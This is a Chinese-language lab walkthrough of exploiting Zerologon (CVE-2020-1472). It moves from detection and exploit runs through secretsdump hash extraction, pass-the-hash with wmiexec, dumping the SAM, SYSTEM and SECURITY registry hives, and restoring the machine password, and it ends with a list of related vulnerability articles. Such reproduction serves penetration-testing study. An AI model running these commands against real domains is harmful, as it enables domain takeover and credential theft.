Netlogon域控提权(CVE-2020-1472)

简介: Netlogon域控提权(CVE-2020-1472)

原理及利用步骤


https://www.preempt.com/blog/security-advisory-zerologon-cve-2020-1472-an-unauthenticated-privilege-escalation-to-full-domain-privileges/ 


https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hijacking-a-domain-controller-with-netlogon-rpc-aka-zerologon-cve-2020-1472/ 


影响版本:


Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)


环境描述:

域控: Windows Server 2008 R2 Standard

攻击机:kali-linux-2020.1  (不在域内,能连通域控


漏洞检测:

POC地址:


https://github.com/SecuraBV/CVE-2020-1472

查询netbios名称:

linux:


nbtscan -v -h 192.168.1.56

Workstation Service选项的值

windows:


nbtstat -A  192.168.1.56

检测:


python3 zerologon_tester.py  dc-netbios-name  dc-ip

94796fe44d8fdce1797e2a637c9c0719_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


漏洞利用:

exp地址:


https://github.com/dirkjanm/CVE-2020-1472

python3 cve-2020-1472-exploit.py

坑点报错:

Unexpected  error:module 
'impacket.dcerpc.v5.nrpc' 
has no attribute 
'NetrServerPasswordSet2'.

解决:需要卸载现有impacket套件,安装最新的impacket

卸载:

sudo apt remove --purge impacket-scripts python3-impacket
sudo apt autoremove

安装:

git clone https://github.com/SecureAuthCorp/impacket
cd  impacket
sudo pip isntall .
sudo python3 setup.py install

8209e70bb6c8c3b4d3635be31c14439b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


密码置空,使用secretdump获取域控上的hash(这里置空的是域控所在机器的机器管理员密码,而非域控密码--->域控所在机器密码跟更改可能会影响与其他域的通信或者域控上的dns等功能)

./secretsdump.py  域名称/域控机器名称\$@域控IP  -just-dc  -no-pass


环境恢复:

[方法1]

如上图,已获取域控Administrator的hash,使用该hash尝试获取机器hash即MACHINE.ACC中的

hash,plain_password_hex选项的值

./secretsdump.py  pentest/administrator@192.168.1.56   
-hashes  aad3b435b51404eeaad3b435b51404ee:4cb55ea6471d29ccbb2ce4cf00271fe3     -use-vss

55e43e127c00543ac5ca7748f5b44bb6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


恢复hashes


python3 restorepassword.py /@ 
-target-ip-hexpass

34247c7bbbbbe58a810ee0bc018b6573_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


secretdump验证:

65a782be4f0cd602f8b9883d3eafcdfb_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


[方法2]

有些情况不能获取到plain_password_hex,通过已获取的域控hash登录机器并dump sam文件到本地

./wmiexec.py pentest/administrator@192.168.1.56 
-hashes aad3b435b51404eeaad3b435b51404ee:4cb55ea6471d29ccbb2ce4cf00271fe3

导出并下载sam :

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save


解析sam提取机器密码hex

./secretsdump.py -sam sam.save -system system.save 
-security security.save LOCAL

 

7d3be53d77b21961ef3c2c506cda6165_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


删除机器上的sam:

del /f system.save
del /f sam.save
del /f security.save


[方法3]

通过域管hash登录,执行下面命令重置机器密码

powershell Reset-
ComputerMachinePassword

94fc753d32306e8780021bd96c9f5cd8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


链接:

https://meterpreter.org/cve-2020-1472-netlogon-privilege-escalation-vulnerability-alert/ 


https://my.oschina.net/u/4587690/blog/4662834 


https://github.com/dirkjanm/CVE-2020-1472 


https://github.com/mstxq17/cve-2020-1472 


相关文章
|
安全 网络安全 数据安全/隐私保护
管理口SSH服务存在拒绝服务漏洞(CVE-2016-6515)
管理口SSH服务存在拒绝服务漏洞(CVE-2016-6515),发送少量数据包,可导致拒绝服务。漏洞详细请看 https://github.com/opsxcq/exploit-CVE-2016-6515
6163 0
|
9月前
|
安全 Ubuntu Linux
CVE-2021-4034 pkexec提权漏洞
Linux Polkit 的 pkexec程序中发现了一个本地权限提升漏洞。pkexec应用程序是一个 setuid 工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。
195 1
|
9月前
|
安全 Ubuntu Linux
CVE-2016-5195 DirtyCow 脏牛提权
脏牛(Dirty COW,编号:CVE-2016-5195)是2016年10月18日被曝出的存在于Linux内核中的一款0day漏洞。因为此漏洞是在Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时发生的,而又给Linux内核的使用带来烦恼,所以将其命名为"Dirty COW"。
204 1
|
9月前
|
安全 测试技术 数据安全/隐私保护
CVE-2022-21999 Windows Print Spooler(打印服务)特权提升漏洞
2021年6⽉29⽇,安全研究⼈员在GitHub上公开了CVE-2021-1675 Windows Print Spooler远程代码执⾏漏洞的PoC。该漏洞是Microsoft 6⽉星期⼆补丁⽇中公开的⼀个RCE漏洞,其存在于管理打印过程的Print Spooler (spoolsv.exe) 服务中,会影响所有 Windows系统版本。
65 1
|
9月前
|
Web App开发 安全 数据安全/隐私保护
JumpServer未授权访问漏洞(CVE-2023-42442)
JumpServer的权限管理存在缺陷,未经授权的远程攻击者可以下载历史会话连接期间的所有操作日志,可导致敏感信息泄漏。
261 1
|
安全 Unix Linux
CVE-2021-4034 pkexec 本地提权复现
CVE-2021-4034 pkexec 本地提权复现
553 0
|
安全 Ubuntu Linux
polkit的pkexec中的本地权限提升漏洞(CVE-2021-4034)
polkit的pkexec中的本地权限提升漏洞(CVE-2021-4034)
414 0
|
供应链 安全 IDE
Jira Seraph 中的身份验证绕过漏洞(CVE-2022-0540)
Jira Seraph 中的身份验证绕过漏洞(CVE-2022-0540)
|
供应链 安全 IDE
7-zip 本地提权漏洞(CVE-2022-29072)
7-zip 本地提权漏洞(CVE-2022-29072)
|
安全 网络安全 Windows
渗透测试-Windows远程桌面服务漏洞(CVE-2019-0708)
渗透测试-Windows远程桌面服务漏洞(CVE-2019-0708)
渗透测试-Windows远程桌面服务漏洞(CVE-2019-0708)